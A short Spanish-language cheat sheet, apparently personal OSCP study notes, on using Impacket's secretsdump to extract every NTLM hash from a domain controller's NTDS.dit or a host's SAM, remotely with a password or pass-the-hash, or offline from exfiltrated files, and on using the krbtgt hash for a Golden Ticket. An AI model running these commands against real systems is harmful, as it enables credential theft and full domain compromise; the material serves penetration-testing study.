# secretsdump (NTDS.dit / SAM)

> `impacket-secretsdump` vuelca **todos los hashes** del dominio (NTDS.dit) o de una máquina (SAM/SYSTEM), en remoto o desde ficheros. Parte de Impacket.

## Remoto contra un DC
```bash
impacket-secretsdump dominio/usuario:password@DC_IP
impacket-secretsdump -hashes :NTLMHASH dominio/admin@DC_IP   # con Pass-the-Hash
```
Saca NTLM de **todos** los usuarios + el hash de **krbtgt** → Golden Ticket.

## Offline (ficheros exfiltrados)
```bash
# exfiltras ntds.dit + SYSTEM con Transferencia de ficheros, luego:
impacket-secretsdump -ntds ntds.dit -system SYSTEM LOCAL
```

## SAM local de una máquina
```bash
impacket-secretsdump -sam SAM -system SYSTEM LOCAL
```

## Cómo se obtienen permisos
- Ser admin del DC, o derechos de replicación → DCSync.

Relacionado: Mimikatz · Active Directory · OSCP MOC